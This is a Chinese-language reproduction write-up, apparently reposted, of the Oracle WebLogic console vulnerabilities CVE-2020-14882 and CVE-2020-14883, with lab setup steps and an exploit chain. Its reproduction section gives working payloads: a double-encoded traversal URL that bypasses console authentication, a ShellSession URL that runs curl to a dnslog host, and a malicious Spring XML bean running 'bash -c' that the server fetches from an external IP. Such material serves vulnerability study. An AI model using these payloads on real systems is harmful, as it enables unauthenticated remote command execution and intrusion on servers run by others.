weblogic 未授權命令執行漏洞(CVE-2020-14882,CVE-2020-14883)復現


漏洞描述

2020年10月29日,360CERT監測發現 Weblogic ConSole HTTP 協議代碼執行漏洞,該漏洞編號為 CVE-2020-14882,CVE-2020-14883 ,漏洞等級:嚴重,漏洞評分:9.8。
遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console,並在 WebLogic Server Console 執行任意代碼。

影響版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

環境搭建

這里我們測試WebLogic12.2.1.4,java環境是jdk1.8.0_221,自行下載

這里提供WebLogic12.2.1.4的安裝教程

下載地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

下載正確的文件

 

 

解壓

 

 

 

用管理員權限運行

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

 

 進入安裝界面

 

 

下一步

 

 

 

 

 

 

 

下一步

完成

開始安裝weblogic的web管理

設置口令,然后創建

 

啟動域

 

會自動打開weblogic的啟動界面

 

 

我們就進入了weblogic的登錄界面(漏洞就是在這個界面觸發的)

 

 

 

漏洞復現

Weblogic是Oracle公司推出的J2EE應用服務器,CVE-2020-14882允許未授權的用戶繞過管理控制台的權限驗證訪問后台,CVE-2020-14883允許后台任意用戶通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic服務器上以未授權的任意用戶身份執行命令。

CVE-2020-14882:允許未授權的用戶繞過管理控制台的權限驗證訪問后台

遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console。
權限繞過漏洞(CVE-2020-14882),訪問以下URL,未授權訪問到管理后台頁面(低權限的用戶):

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal

 

發現我們現在是低權限的用戶,無法安裝應用,所以組合下面的CVE-2020-14883 可以繼續利用

 

CVE-2020-14883:允許后台任意用戶通過HTTP協議執行任意命令

遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console ,並在 WebLogic Server Console 執行任意代碼。

這個漏洞的利用方式有兩種,一是通過com.tangosol.coherence.mvel2.sh.ShellSession,二是通過com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

方法一:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27curl%20pyxgs4.dnslog.cn%27);%22)

成功執行:

 

 

方法二:

一種更為通殺的方法,對於所有Weblogic版本均有效。

但是必須可以出網,要可以訪問到惡意的xml

首先需要構造一個XML文件,並將其保存外網(漏洞機或者可訪問的一台機子上)上,就是要有外網ip

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl 6zu4z2.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

 

然后通過如下URL,即可讓Weblogic加載這個XML,並執行其中的命令:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://64.254.68.38:8085/weblogic/evil.xml%22)

成功回顯

 

參考文章:

https://blog.csdn.net/god_zzz/article/details/109445728

https://www.cnblogs.com/2rsh0u/p/13911794.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM